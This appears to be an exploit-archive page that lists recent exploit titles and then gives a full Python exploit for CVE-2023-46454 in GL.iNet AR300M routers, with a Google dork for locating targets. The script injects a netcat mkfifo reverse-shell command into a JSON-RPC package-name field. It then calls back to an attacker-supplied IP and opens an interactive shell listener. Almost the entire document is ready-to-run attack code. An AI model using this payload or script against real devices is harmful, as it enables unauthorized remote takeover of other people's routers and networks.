7ef8e488d8
22 changes to exploits/shellcodes/ghdb GL.iNet AR300M v3.216 Remote Code Execution - CVE-2023-46456 Exploit GL.iNet AR300M v4.3.7 Arbitrary File Read - CVE-2023-46455 Exploit GL.iNet AR300M v4.3.7 Remote Code Execution - CVE-2023-46454 Exploit Maxima Max Pro Power - BLE Traffic Replay (Unauthenticated) R Radio Network FM Transmitter 1.07 system.cgi - Password Disclosure TitanNit Web Control 2.01 / Atemio 7600 - Root Remote Code Execution TPC-110W - Missing Authentication for Critical Function A-PDF All to MP3 Converter 2.0.0 - DEP Bypass via HeapCreate + HeapAlloc Easywall 0.3.1 - Authenticated Remote Command Execution Magento ver. 2.4.6 - XSLT Server Side Injection AC Repair and Services System v1.0 - Multiple SQL Injection Enrollment System v1.0 - SQL Injection Petrol Pump Management Software v.1.0 - SQL Injection Petrol Pump Management Software v.1.0 - Stored Cross Site Scripting via SVG file Petrol Pump Management Software v1.0 - 'Address' Stored Cross Site Scripting Petrol Pump Management Software v1.0 - Remote Code Execution via File Upload Real Estate Management System v1.0 - Remote Code Execution via File Upload Simple Student Attendance System v1.0 - 'classid' Time Based Blind & Union Based SQL Injection Simple Student Attendance System v1.0 - Time Based Blind SQL Injection Boss Mini 1.4.0 - local file inclusion Windows PowerShell - Event Log Bypass Single Quote Code Execution
105 lines
No EOL
2.8 KiB
Python
Executable file
105 lines
No EOL
2.8 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
|
|
# Exploit Title: GL.iNet <= 4.3.7 Remote Code Execution via OpenVPN Client
|
|
# Google Dork: intitle:"GL.iNet Admin Panel"
|
|
# Date: XX/11/2023
|
|
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
|
|
# Vendor Homepage: https://www.gli-net.com
|
|
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
|
|
# Version: 4.3.7
|
|
# Tested on: GL.iNet AR300M
|
|
# CVE: CVE-2023-46454
|
|
|
|
import socket
|
|
import requests
|
|
import readline
|
|
from time import sleep
|
|
from random import randint
|
|
from sys import stdout, argv
|
|
from threading import Thread
|
|
|
|
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
def trigger_revshell(url, auth_token, payload):
|
|
sleep(0.25)
|
|
data = {
|
|
'jsonrpc': '2.0',
|
|
'id': randint(1000, 9999),
|
|
'method': 'call',
|
|
'params': [
|
|
auth_token,
|
|
'plugins',
|
|
'get_package_info',
|
|
{'name': 'bas{}e-files'.format(payload)}
|
|
]
|
|
}
|
|
requests.post(url, json=data, verify=False)
|
|
|
|
def get_command_response(s):
|
|
res = ''
|
|
while True:
|
|
try:
|
|
resp = s.recv(1).decode('utf-8')
|
|
res += resp
|
|
except UnicodeDecodeError:
|
|
pass
|
|
except socket.timeout:
|
|
break
|
|
return res
|
|
|
|
def revshell_listen(revshell_ip, revshell_port):
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.settimeout(5)
|
|
|
|
try:
|
|
s.bind((revshell_ip, int(revshell_port)))
|
|
s.listen(1)
|
|
except Exception as e:
|
|
print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
|
|
exit(1)
|
|
|
|
try:
|
|
clsock, claddr = s.accept()
|
|
clsock.settimeout(2)
|
|
if clsock:
|
|
print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
|
|
res = ''
|
|
while True:
|
|
command = input('$ ')
|
|
clsock.sendall('{}\n'.format(command).encode('utf-8'))
|
|
stdout.write(get_command_response(clsock))
|
|
|
|
except socket.timeout:
|
|
print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
|
|
s.close()
|
|
|
|
except KeyboardInterrupt:
|
|
print('\n[*] Closing connection')
|
|
try:
|
|
clsock.close()
|
|
except socket.error:
|
|
pass
|
|
except NameError:
|
|
pass
|
|
s.close()
|
|
|
|
def main(base_url, auth_token, revshell_ip, revshell_port):
|
|
print('[+] Started GL.iNet <= 4.3.7 RCE exploit')
|
|
|
|
payload = '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f)'.format(revshell_ip, revshell_port)
|
|
print('[+] Reverse shell payload: "{}"'.format(payload))
|
|
|
|
print('[*] Triggering reverse shell connection')
|
|
Thread(target=trigger_revshell, args=(base_url+'/rpc', auth_token, payload)).start()
|
|
|
|
print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
|
|
revshell_listen(revshell_ip, revshell_port)
|
|
|
|
print('[+] Done')
|
|
|
|
if __name__ == '__main__':
|
|
if len(argv) < 5:
|
|
print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
|
|
exit(1)
|
|
|
|
main(argv[1], argv[2], argv[3], argv[4]) |